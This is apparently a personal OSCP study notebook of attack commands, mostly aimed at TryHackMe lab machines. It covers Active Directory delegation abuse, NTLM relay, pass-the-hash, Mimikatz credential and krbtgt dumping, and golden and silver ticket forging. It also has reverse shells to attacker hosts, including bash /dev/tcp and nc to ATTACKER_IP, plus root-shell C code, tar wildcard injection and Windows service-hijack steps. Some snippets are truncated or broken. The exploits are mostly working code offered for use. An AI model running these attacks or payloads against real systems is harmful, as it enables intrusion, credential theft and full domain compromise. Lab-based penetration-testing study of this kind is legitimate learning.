Import-Module C:\Tools\PowerView.ps1
Get-NetUser -TrustedToAuth
Based on this we can see that scvIIS can delegate http and wsman services on THMSERVER1 also you can get the idea using bloodhound too by searching for all kerberostable accounts
The ideal option would be to impersonate a Tier 1 Admin since this would provide us with administrative access over THMSERVER1.
If you were to perform proper post-exploitation enumeration of THMWRK1, you would find that there is a service on the host running as the svcIIS user. Since we have administrative access now, we can use this to
dump LSASecrets, part of the Windows Registry Hive where credentials are stored for features such as Windows services. Let's use Mimikatz to dump the secrets:
OSCP Page 28
Do exit after token elevate usage or if you don't wanna then type token::revert in ur mimikatz window then open kekeo
We first need to generate a TGT that can be used to generate tickets for the HTTP and WSMAN services:
Now that we have the TGT for the account that can perform delegation, we can forge TGS requests for the account we want to impersonate. We need to perform this for both HTTP and WSMAN to allow us to create
a PSSession on THMSERVER1:
Now the big issue happened for me was mimikatz was not taking this generated ticket and the username was changed automatically so the biggest solution is simply copy the TGS for http and wsman into the
mimikatz folder by copy command and then only open the mimikatz and boom it will work . Don't waste time on internet .
Privilege::debug
Now that the tickets are imported, we can finally create our PSSession on THMSERVER1:
PowerShell
We first need to identify cases where a machine account has administrative access over another machine. We can use Bloodhoundfor this, but it means we will have to write some custom cypher queries. Click the
"Create Custom Query" in the Analysis tab in Bloodhound:
This query will attempt to find instances where a computer has the "AdminTo" relationship over another computer.
OSCP Page 29
The hosts must not have SMB signing enforced.
GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc [this will determine if print spooler service is running or not on both the servers as we don't have access to server 2]
If u get error in both take a leap of faith and assume 1st condition is met.
It should be noted that there is a difference between SMB signing being allowed and SMB signing being enforced. Since some legacy systems do not support SMB signing, by default, the configuration of SMB is that
signing is allowed but not enforced, meaning that it will only be used if supported. Since we will be hosting a malicious SMBserver, we can ensure our server does not support signing, forcing the target not to sign the
SMB authentication attempt.
To verify that THMSERVER1 and THMSERVER2 do not have SMB signing enforced, we can use Nmap on our AttackBox:
nmap --script=smb2-security-mode -p445 thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc = add -Pn if doesn't scan at last
Smb and http should be off as well check it by sudo mousepad /etc/responder/Responder.conf
After this we can see it's enabled and not enforced so all conditions are met
Python3 ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -debug == alternative is to open the other local ad and point it to our attacker via network ip of aatcker then see responder
Now what you got the hashes . Pass the hash using evil-winrm and get the shell
evil-winrm -i <tgtip> -u <username> -H <hashes> or pseexec.py user@ip -hashes <fullhash> or smbexec or wmiexec.py try those too
Boom you're in
#EXPLOITING AD USERS
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST exploitad; set LPORT "listening port'; exploit"
#M1
After evilwnrm
Keyscan_start
Keyscan_dump
Hashdump
Keyscan_stop
Getsystem to play
OSCP Page 30
#M2
After evilwinrm
Certutil -urlcache -f http://[listnerip:port]/shell.ps1 for copying but it may or may not works
ps | grep "explorer"
Shutdown -r
#EXPLOITING GPO's
This has ownership of a gpo which can be exploited easily and it's applied to target machine so we need to add our local userin that so in order to do that
Ssh normal user and runas the acc we got from kplci along with the creds
Mmc
File -> Add/Remove Snap-in->Select the Group Policy Management and add it->go to our domain->servers->mgmtservs->restrictedaccs->add IT supportgrp->Admnstrs and rmtdeskusers on 2nd
#EXPLOITING CERTS
In order to find vulnerable templates, we will use Window's built-in tool certutil. Using our RDP access on THMSERVER2, we can run the following Powershell script to enumerate certificates:
OSCP Page 31
scp frances.armstrong@THMSERVER2.za.tryhackme.loc:/Users/frances.armstrong/Desktop/hellocerts.pfx . To copy pr get from an local server to our box
Privilege::debug
Kerberos::ptt outputfile.pfx
dir \\THMDC.za.tryhackme.loc\c$\
type \\THMDC.za.tryhackme.loc\c$\Users\Administrator\Desktop\flag5.txt
We will again use Mimikatz with a DC Sync to recover the KRBTGT password hash on THMSERVER2:
token::elevate - To dump the secrets from the registry hive, we need to impersonate the SYSTEM user.
lsadump::secrets - Mimikatz interacts with the registry hive to pull the clear text credentials.
privilege::debug
or
"privilege::debug" "sekurlsa::msv"
lsadump::dcsync /user:za\krbtgt or lsadump:lsa /inject /name:krbtgt(pulls specific user instead of all) {for windows }
(Get-Acl "AD:$(Get-ADDomain)").Access | Where-Object { $_.IdentityReference -eq '[User or Group Name]' } | Format-List {for PWS}
The SID of the child domain controller (THMDC), which we will impersonate in our forged TGT
The SID of the Enterprise Admins in the parent domain, which we will add as an extra SID to our forged TGT
To recover these SIDs, we can use the AD-RSAT Powershell cmdlets. We can recover the SID of the child domain controller using the following command:
kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:<Password hash of krbtgt user> /sids:<SID of
Enterprise Admins group> /ptt
Kerberos::golden /user:Administrator /domain:controller.local /sid: /krbtgt: /id:500 - This is the command for creating a golden ticket to create a silver ticket simply put a service NTLM hash
into the krbtgt slot, the sid of the service account into sid, and change the id to 1103.
C:\>dir \\thmdc.za.tryhackme.loc\c$
This at least confirms that the Golden Ticket was forged for access to the child DC. However, since we specified extra SIDs, we should also now have access to the parent DC:
OSCP Page 32
C:\>dir \\thmrootdc.tryhackme.loc\c$\
The Silver ticket attack is based on crafting a valid TGS for a service once the NTLM hash of a user account is owned. Thus, it is possible to gain access to that service by forging a custom TGS with the
maximum privileges inside it.
In this case, the NTLM hash of a computer account (which is kind of a user account in AD) is owned. Hence, it is possible to craft a ticket in order to get into that machine with administrator
privileges through the SMB service.
FOR LINUX:
python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
FOR WINDOWS:
.\mimikatz.exe
sekurlsa::logonpasswords
mimikatz # exit
Bye!
#DC-SHADOW ATTACK
vshadow.exe -nw -p C:
#CRDENTIAL HARVESTING
[CREDS ACCESS]
OSCP Page 33
For example, the following command is to look for the "password" keyword in the Window registry.
Searching for the "password" keyword in the Registry or flag maybe lol
HKEY_LOCAL_MACHINE hive for data containing the string “password” of type REG_SZ. The command can be used to search the HKEY_CURRENT_USER hive by substituting HKCU for HKLM and can be used to search
for different keywords as well.
In PS you can use this cmd rather than surfing through AD manually for finding description misconfigs and other stuffs
c:\Windows\System32\config\sam
So to dump sam hashes we can use shadow copy services which performs bckup while apps read/write on vols using this
or
As SAM is encrypted in rc4 or aes we need key to decrypt it which is stored in the files system so now we have to copy both the files to our shadow volume from C drive.
Now a cool trick . You don't have to waste ur time doing scp and shit to transfer files to ur machine. Use this simply in ur machine and boom
impacket-secretsdump <usernameusedinrdp>:'passusedinrdp'@<tgtipfromwhichfilehastobecopied>
Goto taskmgr and try dumping lsass.exe it won't let you until and unless we disable it but if we have real admin creds we candump it but for now lsass has been protected from extracting creds so we will disable it
Privilege::debug
Sekurlsa::logonpasswords {dump hashes for all users logged on to the current workstation or server, including remote logins like Remote Desktop sessions.}
Will get an error like this ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
Luckily mimikatz have mimidrv.sys driver that works on kernel level to disable the lsass protection so we can import that by using this cmd:
Mimikatz # !+
OSCP Page 34
Once driver is loaded use this for disabling
Sekurlsa::logonpasswords
Goto cred manager and check web and win creds if possible to view them from the pass you used to rdp then good and if not then let's do it
vaultcmd /list
As it's not showing we can use ps script https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1 which is installed for us already for us so use this
Import-Module C:\Tools\Get-WebCredentials.ps1
PS C:\Users\Administrator> Get-WebCredentials
An alternative of this is to use it as RunAs and /savecred arg allows us to save passwd in cred manager so next we execute assame user it won't ask the passwd
Cmdkey /list == which is a tool to create, delete, and display stored Windows credentials.
Other Alternative is to use mimikatz again to dump clear-txt passwds stored in cred manager from memory.
Privilege::debug
Alternative mthd to enumerate and obtain local admin pass withing AD only if LAPS is enabled check it by this cmd:
gpresult /r
Find-AdmPwdExtendedRights -Identity * -- it finds list of all OU's with extended rights or or Get-LAPSComputers this will work only if you have the https://github.com/leoloobeek/LAPSToolkit script
impacket-GetUserSPNs -dc-ip <> -request <domTHM.red>/<usr> -- {this will find an spn acc to which we can request tgt and tgs.}
python GetUserSPNs.py jurassic.park/triceratops:Sh4rpH0rns -outputfile hashes.kerberoast {retrieve all the TGS’s by using the impacket example GetUserSPNs.py.} {linux}
Rubeus.exe kerberoast This will dump the Kerberos hash of any kerberoastable users {windows}
GetNPUsers.py <domain>/<user>:<password> -dc-ip <DC_IP> -request {with pass for finding as-rep roastable acc's}
OSCP Page 35
GetNPUsers.py <domain>/<user>:<password> -dc-ip <DC_IP> -request {with pass for finding as-rep roastable acc's}
Rubeus.exe asreproast /nowrap - This will run the AS-REP roast command looking for vulnerable users and then dump found vulnerable user hashes.
Once we find the SPN user, we can send a single request to get a TGS ticket for the srv-user user using the -request-user argument.
Hashcat --help | grep Kerberos and it would be easy to find the code now and crack it
https://www.hackingarticles.in/post-exploitation-on-saved-password-with-lazagne/
https://github.com/GhostPack/Seatbelt
https://github.com/SnaffCon/Snaffler
# EXTRAS
To start an interactive session on the remote host, we need to invoke PsExec64.exe with the -i argument, followed by the target hostname prepended with two backslashes. We'll then specify the domain\username
as corp\jen for the -u argument and Nexus123! as the password for the -p arguments.
OSCP Page 36
LIN PRIVESC
Monday, December 4, 2023 5:08 PM
Systems can also be identified by looking at the /etc/issue and /etc/*-release contains info about the OS
cat /etc/issue
cat /etc/os-release
uname -a
Ps -aux == aux option will show processes for all users (a), display the user that launched the process (u), and show processes that are not attached to a terminal (x).
Running the program with the --version/-v command line option often shows the
version number:
$ <program> --version
$ <program> -v
On Debian-like distributions, dpkg can show installed programs and their version:
$ dpkg -l | grep <program>
Cat etc/passwd | cut -d ":" -f 1 -- displaying all the users but u can always use grep home then use cut to filter out
cat ~/.*history | less -- View the contents of all the hidden history files in the user's home directory:
find . -name flag1.txt: find the file named “flag1.txt” in the current directory
find /home -name flag1.txt: find the file names “flag1.txt” in the /home directory
find / -type d -name config: find the directory named config under “/”
find / -type f -perm 0777: find files with the 777 permissions (files readable, writable, and executable by all users)
find /etc -maxdepth 1 -writable -type f Find all writable files in /etc
$ find /etc -maxdepth 1 -readable -type f Find all readables files in /etc
find / -perm -o x -type d 2>/dev/null : Find world-executable folders and we use -type f 2>/dev/null” to redirect errors to “/dev/null” and have a cleaner output.
find / -perm -u=s -type f 2>/dev/null: Find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user.
if /etc/shadow is writable only then you can generate ur new hash by this and replace it with that of root: can also do to /etc/passwd by replacing X at first and also create new roots
mkpasswd -m sha-512 newpasswordhere {can copy to /etc/shadow and login as same user created also do see the convention before adding it in /e tc/shadow;)}
or
#KERNEL EXPLOITS
OSCP Page 37
#KERNEL EXPLOITS
Cat /proc/version to find the kernel version
Now find the exploit for this specific version and try 2 to 3 as some don't work so chill
Download it in ur machine and for exp if it's ofs_32 or 327292.c then use this cmd
in the tgt machine go to tmp folder as we might not able to grep the file due to perm issues.
Wget http://<vpnip>:80/ofs
Now on tgt machine give +x perm to this and run it and boom you're in
#COMPILE TYPES
Basic compiling
gcc 43418.c -o exploit
Certainly! Compiling with static linking (--static) allows you to create an executable that doesn't depend on external libraries, ensuring compatibility on systems that might not have the
required shared libraries available.
Here's a breakdown of the command:
This command compiles exploit-2.c into an executable named exploit-2 with static linking, reducing external dependencies.
Additional ways to compile with static linking or handle library issues:
Link Static Libraries Directly:
This flags the compiler to link only the GNU C and C++ libraries statically.
Cross-Compilation for Different Architectures: To compile for architectures other than your host system (e.g., compiling for ARM on an x86_64 system):
This links against libraries in a custom path (/path/to/custom/libs) and sets the runtime library search path (-rpath) accordingly.
Using ld for Linking: You can also use ld (the GNU linker) directly to link statically:
This command directly links the object file exploit-2.o into a statically linked executable exploit-2.
#SUDO EXPLOITS
OSCP Page 38
Sudo -l
Once you found that you have few perms go here https://gtfobins.github.io/#find for using the program in sudo mode
$ lsmod
#SUID EXPLOITS
find / -type f -perm -04000 -ls 2>/dev/null -- will list files that have SUID or SGID bits set.
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null -- better than above one as it will also display files sgids too and suids.
Now you need the contents of /etc/shadow file to get the user password and we don't have the privileges so let's use gtfobins
$ LFILE= /etc/shadow -- this will inject shadow file in the LFILE which is encoded by base64
$ /usr/bin/base64 "$LFILE" | base64 --decode -- and it will decode the contents of the shadow file and it will then display the hashes of the user we need
But let's look at an alternate method now if we don't have base64 in suid
From the 1st cmd we can see nano has a suid bit set so it will display the contents of the file so save shadow and passwd fil es as .txt and crack it using cmd:
int main() {
setuid(0);
system("/bin/bash -p");
}
$ gcc -o <name> <filename.c>
Another Alternate method if we have nothing but can access /etc/passwd then we have to do this:
Create a user and the password and the hashvalue of that password and save it in /etc/passwd file
Openssl passwd -1 -salt THM password12 -- this will generate the hash for us .
as the last root:/bin/bash was used to provide a root shell so use that for our user as well
The /usr/local/bin/suid-so SUID executable is vulnerable to shared object injection. -- if you find these kinda stuff then follow-along
strace: This command traces system calls made by a program. When used with an executable (/usr/local/bin/suid -so in this case), it tracks the system calls made by that program. It provides detailed
information about system calls like open, access, etc., including files or resources accessed or opened during its execution.
grep: It searches for patterns in the output. In this command, grep -iE "open|access|no such file" is searching for lines containing the words "open," "access," or "no such file" (case -insensitive) in the output
generated by strace.
you get one file it calls but is not found anywhere so you can create that file by this code:
#include <stdio.h>
OSCP Page 39
#include <stdio.h>
#include <stdlib.h>
void inject() {
setuid(0);
system("/bin/bash -p");
}
Inject() here is used so that it runs before the main() automatically and It calls setuid(0) to attempt to escalate privilege s by changing the effective user ID to root. after it launches interactive shell by -p usage.
this can only work if you have some sufficient privileges else it won't work.
mkdir /home/user/.config
-shared: Instructs the compiler to generate a shared object file, which contains code that can be linked to and loaded during runtime by programs.
-fPIC: Stands for "Position Independent Code," which generates code that can be placed at any memory address during runtime. T his is essential for shared libraries.
-o /home/user/.config/libcalc.so: Specifies the output file name and path for the compiled shared object file. In this case, i t will be stored in /home/user/.config and named libcalc.so.
/home/user/tools/suid/libcalc.c: Specifies the path to the C source file (libcalc.c) that will be compiled into the shared ob ject file.
The /usr/local/bin/suid-env executable can be exploited due to it inheriting the user's PATH environment variable and attempting to execute programs without specifying an absolute path.
for this first run the file and see how it works and and if you can see it starts apache2 server so now check it in detail by this cmd:
strings /usr/local/bin/suid-env
In the context of strings /usr/local/bin/suid-env, it will display any readable strings present in the /usr/local/bin/suid-env binary file. This might include visible text or strings that are hardcoded within the
executable, which could potentially reveal information about the file's functionality, variable names, or certain commands us ed in the binary.
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
gcc -o service /home/user/tools/suid/service.c
Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the suid -env executable to gain a root shell:
PATH=.:$PATH /usr/local/bin/suid-env
Similar case but in this service has the absolute path for starting apache2 web server.
Exploitation Method #1
Linux VM
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
Exploitation Method #2
Linux VM
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'
#CAPABILITIES EXPLOITS
We found vim which sounds interesting so search it up on gtfobins and see caps section there https://gtfobins.github.io/gtfobins/vim/
If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileg ed access by manipulating its own process UID.
NOTE: also look if it has +ep flag specifying that these capabilities are effective and permitted.
This requires that vim is compiled with Python support. Prepend :py3 for Python 3.
./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' {also try without ./ as it may work with or without it}
OSCP Page 40
./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' {also try without ./ as it may work with or without it}
cp $(which vim) .
sudo setcap cap_setuid+ep vim
The two perl binaries stand out as they have setuid capabilities enabled, along with the +ep flag specifying that these capab ilities are effective and permitted.
#CRONJOB EXPLOITS
Cron job configurations are stored as crontabs (cron tables) to see the next time and date the task will run.
cat /etc/crontab
or
ls -lah /etc/cron*
sudo crontab -l {To view the current user's scheduled jobs, we can run crontab followed by the -l parameter.}
grep "CRON" /var/log/cronlog or cron.log {if doesn't work cat and read it simply;))}
Embedd a rev shell in .py cronjob you have access of by visiting here: https://www.revshells.com/
Ex of a bash revshell:
Start a listener on ur machine and wait for a min and don't execute the file yourself also do give +x perms.
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
WILD CARDS:->
now if you are able to use tar somewhere then create a file with this code:
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
tar is a utility used to create archives and the c flag signifies creating an archive.
z flag compresses the archive using gzip.
f flag indicates the file name of the archive, in this case, /tmp/backup.tar.gz.
* selects all files and directories in the current directory (/home/user) as the content to be archived.
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf
ALTERNATIVE:
cd /home/james
touch privesc.sh
OSCP Page 41
touch privesc.sh
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh privesc.sh'
These files are crafted with names that are valid tar command line options.
When the cron job runs the tar command using a wildcard (*), it includes the special files created earlier. Tar, interpreting these filenames as command line options, executes the specified command
(shell.elf).
ANOTHER TRICK:->>>
We could also inspect the cron log file (/var/log/cron.log) for running cron jobs:
#PATH EXPLOITS
If a folder for which your user has write permission is located in the path, you could potentially hijack an application to r un a script. PATH in Linux is an environmental variable that tells the operating system
where to search for executables. For any command that is not built into the shell or that is not defined with an absolute pat h, Linux will start searching in folders defined under PATH. (PATH is the
environmental variable we're talking about here, path is the location of a file).
find / -writable 2>/dev/null | cut -d "/" -f 2 | sort -u -- to find all the writables and list them
We found 2 files .py and one executable file after which we found that it's searching for an executable thm file which is not present yet so let's create one:
#!/bin/bash
Sudo su or /bin/bash and save it and it will then run as an executable and make us root
Export PATH=/home/user:$PATH
Verify it by:
Echo $PATH
And now run the ./test and see the magic . More ways here https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
-- unsetenv("LD_PRELOAD");: Clears the LD_PRELOAD environment variable. LD_PRELOAD is a mechanism in Unix -like systems that allows a user to preload libraries before any other library to intercept
system calls or override specific functions. Clearing LD_PRELOAD ensures that no other shared objects are preloaded before th is one.
-- setresuid(0, 0, 0);: Sets the real, effective, and saved user IDs to 0, effectively elevating privileges to root. This is an attempt to gain root-level permissions.
-- system("/bin/bash -p");: Invokes the /bin/bash shell with the -p flag, which attempts to run the shell with elevated privileges
Using sudo LD_PRELOAD=/tmp/preload.so program-name-here, you execute a program (replace program-name-here with an allowed program from sudo -l).
This action should spawn a root shell, allowing you escalated privileges to execute commands as root.
OSCP Page 42
sudo LD_PRELOAD=/tmp/preload.so find or nano
#include <stdio.h>
#include <stdlib.h>
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
#NFS EXPLOITS
NFS (Network File Sharing) configuration is kept in the /etc/exports file. This file is created during the NFS server install ation and can usually be read by users.
The critical element for this privilege escalation vector is the “no_root_squash” option you can see above. By default, NFS w ill change the root user to nfsnobody and strip any file from operating with root
privileges. If the “no_root_squash” option is present on a writable share, we can create an executable with SUID bit set and run it on the target system.
Cat /etc/exports
Mount -o <tgtip>:/tmp or any mounted dir of tgt /tmp/temp -- this will mount our made dir to the attack machine
int main() {
// Command to execute sudo su
char command[] = "sudo su";
return 0;
}
OSCP Page 43
Sudo chown root:root code
Chmod +s code
#EXTRAS
mysql -u root -p
exit
/tmp/rootbash -p
and boom
mysql -u root -h 127.0.0.1 -P 4444 and boom your traffic will be forwarded over the ssh connection and you will be connected to debian mysql server remotely
OSCP Page 44
OSCP Page 45
WIN PRIVESC
Tuesday, December 5, 2023 9:25 PM
#COMMON COMMANDS
Get-LocalGroup
Get-LocalGroupMember ""
Get-LocalUser
systeminfo
ipconfig /all
route print {To display the routing table, which contains all routes of the system} NOTE:->> The output of this command is useful to determine possible attack vectors to other systems or networks.
To check all installed applications. We can query two registry keys13 to list both 32-bit and 64-bit applications:
Get-CimInstance Win32_Process -Filter "name = '<unique_process_name>.exe'" | Select-Object Name, ProcessId, CommandLine {locating the dir of the service running from:->>}
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
Dir /b /a /s c:\ > cdirs.txt -- will generate list of every single files and it's subfiles in output format and then use this cmd:
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
And for PS :
type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
(Get-PSReadlineOption).HistorySavePath
Interestingly, Clear-History does not clear the command history recorded by PSReadline. Therefore, we can check if the user in our example misunderstood the Clear-History Cmdlet to clear all traces of
previous commands.
To retrieve the history from PSReadline, we can use Get-PSReadlineOption to obtain information from the PSReadline module.
Cmdkey /list to get info from creds mngr and if there's some info you can run the below cmd to gain shell
Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called web.config and can store passwords for databases or
configured authentication mechanisms.
OSCP Page 46
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
PuTTY is an SSH client commonly found on Windows systems. Instead of having to specify a connection's parameters every single time, users can store sessions where the IP, user and other configurations
can be stored for later use.
if you found the creds in any session for admin then you can do this for elevating priv:
winexe -U 'admin%pass123' //<ip> cmd.exe and it will login to admin but since it's admin you can tweak it and elevate it to system account too by this:
Recursively search for files in the current directory with “pass” in the name, or ending in “.config”:
Recursively search for files in the current directory that contain the word “password” and also end in either .xml, .ini, .txt, .pdf and so on
> findstr /si password *.xml *.ini *.txt *.pdf *.config *.php *.db *.html
>findstr /si "passwd password" *.xml *.ini *.txt *.pdf *.config *.php *.db *.html *.yml *.json *.env
Get-ChildItem -Path C:\Users\<username>\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx, *.ini -File -Recurse -ErrorAction SilentlyContinue
Every windows has a service which have a binary file. these binary files are executed when service is started or gone into running state naturally or forcefully;))
get a list of all installed Windows services, we can choose various methods such as the GUI snap-in services.msc, the Get-Service Cmdlet, or the Get-CimInstance Cmdlet (superseding Get-WmiObject).
Get-CimInstance -ClassName Win32_Service: Retrieves information about all services from the system using WMI (Windows Management Instrumentation).
| Select-Object Name, State, PathName: Narrows down the output to show only the service name, its current state, and the path to its executable.
| Where-Object {$_.State -like 'Running'}: Filters the list to include only services that are currently running.
MASK PERMISSIONS
F Full access
M Modify access
RX Read and execute access
R Read-only access
W Write-only access
OSCP Page 47
MA - maximum allowed
GR - generic read
GW - generic write
GE - generic execute
GA - generic all
RD - read data/list directory
WD - write data/add file
AD - append data/add subdirectory
REA - read extended attributes
WEA - write extended attributes
X - execute/traverse
DC - delete child
RA - read attributes
WA - write attributes
inheritance rights may precede either form and are applied
only to directories:
(OI) - object inherit
(CI) - container inherit
(IO) - inherit only
(NP) - don't propagate inherit
(I) - permission inherited from parent container
icacls "C:\xampp\apache\bin\httpd.exe"
icacls "C:\xampp\mysql\bin\mysqld.exe"
icacls "C:\BackupMonitor\BackupMonitor.exe"
as we got a Full permissions on mysqld.exe we can write a simple code in c to create a binary which will create a user and add it to Administrators group;))
#include <stdlib.h>
int main ()
{
int i;
return 0;
}
now cross-compile it using the below cmd to win 64 {do check yours before doing it:->}
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe {compiles a C program named adduser.c into an executable file called adduser.exe using the MinGW-w64 GCC compiler for 64-bit Windows applications.}
move C:\xampp\mysql\bin\mysqld.exe mysqld.exe {copies the original .exe to our home dir so we can replace the original in it's place after priv esc;)}
if it worked then boom login with the user you made and find the flag:)
OSCP Page 48
if it says access is denied then we can check the startup service type and if it's automatic we just have to restart the pc and it will be done so let's check it by the below cmd:->
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
In, order to reboot we must have SeShutdownPrivilege {can check by whoami /priv}
shutdown /r /t 0
after this check whether our script worked by checking members of admin group by this cmd: {you should see your created user:->}
Get-LocalGroupMember "Administrators"
Login via runas or open cmd prompt as administrator and use your created uname and pass ;)))
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
. .\PowerUp.ps1
Get-ModifiableServiceFile {This function displays services the current user can modify, such as the service binary or configuration files.}
#SCHEDULED TASKS
To retrieve detailed information about any of the services, you can use a command like the following one:
schtasks /?
or
C:\> schtasks /query /tn <vulntaskname> /fo list /v {Detailed list of one app you know the name of }
icacls c:\tasks\schtask.bat
If builtin usrs has the full access then use this cmd:
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat and start a listener on ur side
schtasks /run /tn vulntask -- can only use if you have the perm but in real world you won't be having it
type C:\DevTools\CleanUp.ps1
The script seems to be running as SYSTEM every minute. Using accesschk.exe, note that you have the ability to write to this file:
Start a listener on Kali and then append a line to the C:\DevTools\CleanUp.ps1 which runs the reverse.exe executable you created:
Wait for the Scheduled Task to run, which should trigger the reverse shell as SYSTEM.
ALTERNATIVES
In PowerShell:
Often we have to rely on other clues, such as finding a script or log file that indicates a scheduled task is being run.
In the C:\DevTools directory, there is a PowerShell script called “CleanUp.ps1”. View the script:
2. This script seems like it is running every minute as the SYSTEM user. We can check our privileges on this script using accesschk.exe:
OSCP Page 49
2. This script seems like it is running every minute as the SYSTEM user. We can check our privileges on this script using accesschk.exe:
5. Use echo to append a call to our reverse shell executable to the end of the script:
C:\DevTools\CleanUp.ps1
6. Wait for the scheduled task to run (it should run every minute) to complete the
exploit.
sc qc WindowsScheduler
It shows that the service runs as svcuser1, and the associated executable is C:\PROGRA~2\SYSTEM~1\WService.exe
sc.exe qc <name>
Start/Stop a service:
It reveals that the Everyone group has modify permissions (M) on the executable, allowing anyone to modify it.
-f exe-service: This flag specifies the output format of the payload. exe-service indicates that the output will be an executable file that can be used as a Windows service.
-o rev-svc.exe: This specifies the output file name. The payload generated by msfvenom will be saved in a file named rev-svc.exe.
Start a http server on your machine and wget the file in the attacker machine from ps by:
move WService.exe WService.exe.bkp -- replaces .exe file to an .bkp file in the destination
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe -- replaces rev-svc.exe to Wservice.exe name which we want in destination.
C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F -- gives our file the perm fully
sc stop windowsscheduler
sc start windowsscheduler -- it will then start services which will start the respective exes and we will get shell on our listener
If our user has permission to change the configuration of a service which runs with SYSTEM privileges, we can change the executable the service uses to one of our own.
Potential Rabbit Hole: If you can change a service configuration but cannot stop/start the service, you may not be able to escalate privileges!
OSCP Page 50
Services sometimes have unquoted paths for their executables Example:
A service with a properly quoted path: C:\Program Files\RealVNC\VNC Server\vncserver.exe.
A service with an unquoted path: C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe.
Unquoted paths containing spaces might lead to ambiguous command interpretation.
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\Windows\\" | findstr /i /v """ {-- search for all unquoted services you can exploit}
When the service is executed with an unquoted path containing spaces, the system searches for various executable paths.
The search sequence:
Search for C:\MyPrograms\Disk.exe.
If not found, search for C:\MyPrograms\Disk Sorter.exe.
If not found, search for the actual service path: C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe.
If an attacker can create executables that match the searched paths, they can force the service to execute their malicious code.
The C:\MyPrograms directory inherits permissions from the C:\ directory, allowing users to create files and folders.
Payload Creation and Execution:
icacls c:\MyPrograms -- it shows it's under C: so it inherits perms of C: and any user can modify and create folders
move C:\Users\thm-unpriv\rev-svc.exe C:\MyPrograms\Disk.exe -- this will again replace and rename disk.exe to our payload name.
icacls C:\MyPrograms\Disk.exe /grant Everyone:F
sc qc unquotedsvc
Using accesschk.exe, note that the BUILTIN\Users group is allowed to write to the C:\Program Files\Unquoted Path Service\ directory:
C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\" --else icacls "C:/Program Files/Unquoted Path Service/"
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe" -- start a listener before this and boom
1. Open command prompt and type: msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe
2. Copy the generated file, common.exe, to the Windows VM.
Windows VM
1. Place common.exe in ‘C:\Program Files\Unquoted Path Service’.
2. Open command prompt and type: sc start unquotedsvc
3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\Windows\\" | findstr /i /v """
with the above cmd you'll get exploitable services with spaces to abuse along with path
unquoted service binary path C:\Program Files\My Program\My Service\service.exe. When Windows starts service, it will use the below order to start the executable file due to the spaces in the path.
now check the permissions on the dir and sub-dir of that path to see which dir is writable:->
icacls "C:\"
let's suppose you have write perm on 3rd one from the list so now you have to check if you can start and stop the service or not by the below cmd:-
Start-Service Vulnservice
Stop-Service Vulnservice
If yes great you can copy our appuser.exe file from kali and save it as first name of a file with .exe in that dir
OSCP Page 51
If yes great you can copy our appuser.exe file from kali and save it as first name of a file with .exe in that dir
